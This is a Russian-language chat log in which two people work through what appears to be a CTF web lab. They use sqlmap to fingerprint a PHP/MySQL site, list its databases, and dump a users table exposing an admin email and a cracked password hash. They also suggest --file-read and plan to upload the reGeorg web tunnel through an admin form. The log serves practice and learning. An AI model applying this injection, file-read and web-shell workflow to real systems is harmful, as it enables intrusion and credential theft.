k
Тема урока xss была?
Size: a a a
2018 September 01
M
да, xss, sql
M
PHP 5.4.45, Nginx
back-end DBMS: MySQL >= 5.0
banner: '5.5.57-0+deb8u1'
user: 'user@localhost'
current database: 'site'
hostname: 'cl-ctf-std-web'
current user is DBA: False
database management system users roles:
[*] 'user'@'localhost' [1]:
role: USAGE
Table: blog
[3 entries]
+----+--------------------+---------------+
| id | text | subject |
+----+--------------------+---------------+
| 1 | 1234 | first record |
| 2 | hello how are you? | second record |
| 3 | hello hello hello | third record |
+----+--------------------+---------------+
back-end DBMS: MySQL >= 5.0
banner: '5.5.57-0+deb8u1'
user: 'user@localhost'
current database: 'site'
hostname: 'cl-ctf-std-web'
current user is DBA: False
database management system users roles:
[*] 'user'@'localhost' [1]:
role: USAGE
Table: blog
[3 entries]
+----+--------------------+---------------+
| id | text | subject |
+----+--------------------+---------------+
| 1 | 1234 | first record |
| 2 | hello how are you? | second record |
| 3 | hello hello hello | third record |
+----+--------------------+---------------+
M
пробую к паролям подобраться, надеюсь что все так просто
k
PHP 5.4.45, Nginx
back-end DBMS: MySQL >= 5.0
banner: '5.5.57-0+deb8u1'
user: 'user@localhost'
current database: 'site'
hostname: 'cl-ctf-std-web'
current user is DBA: False
database management system users roles:
[*] 'user'@'localhost' [1]:
role: USAGE
Table: blog
[3 entries]
+----+--------------------+---------------+
| id | text | subject |
+----+--------------------+---------------+
| 1 | 1234 | first record |
| 2 | hello how are you? | second record |
| 3 | hello hello hello | third record |
+----+--------------------+---------------+
back-end DBMS: MySQL >= 5.0
banner: '5.5.57-0+deb8u1'
user: 'user@localhost'
current database: 'site'
hostname: 'cl-ctf-std-web'
current user is DBA: False
database management system users roles:
[*] 'user'@'localhost' [1]:
role: USAGE
Table: blog
[3 entries]
+----+--------------------+---------------+
| id | text | subject |
+----+--------------------+---------------+
| 1 | 1234 | first record |
| 2 | hello how are you? | second record |
| 3 | hello hello hello | third record |
+----+--------------------+---------------+
👍, а я думал ксска - в коде фансибокс увидел.
M
available databases [2]:
[*] information_schema
[*] site
[*] information_schema
[*] site
M
как глянуть таблицы из базы?
k
--tables :)
k
Sqlmap-ом же тянешь?
M
да
k
--exclude-sysdb без системных
k
да
Чекни сразу --file-read
M
M
не показывает то в users
k
--dump -T users -D site
M
dump 🤦🏻♂️
M
Database: site
Table: users
[1 entry]
+----+---------------------+-------+---------------------+-------------------------+---------------------------------------------+------------+
| id | email | login | date | avatar | password | activation |
+----+---------------------+-------+---------------------+-------------------------+---------------------------------------------+------------+
| 41 | elumenced@gmail.com | admin | 2014-06-23 14:39:19 | avatars/net-avatara.jpg | 807ff71b3301262e222ad05e5b7c4325 (ChangeMe) | 1 |
+----+---------------------+-------+---------------------+-------------------------+---------------------------------------------+------------+
Table: users
[1 entry]
+----+---------------------+-------+---------------------+-------------------------+---------------------------------------------+------------+
| id | email | login | date | avatar | password | activation |
+----+---------------------+-------+---------------------+-------------------------+---------------------------------------------+------------+
| 41 | elumenced@gmail.com | admin | 2014-06-23 14:39:19 | avatars/net-avatara.jpg | 807ff71b3301262e222ad05e5b7c4325 (ChangeMe) | 1 |
+----+---------------------+-------+---------------------+-------------------------+---------------------------------------------+------------+
k
Ну всё, ищи админку :)
M
в админке форма для загрузки
M
regeorg залить)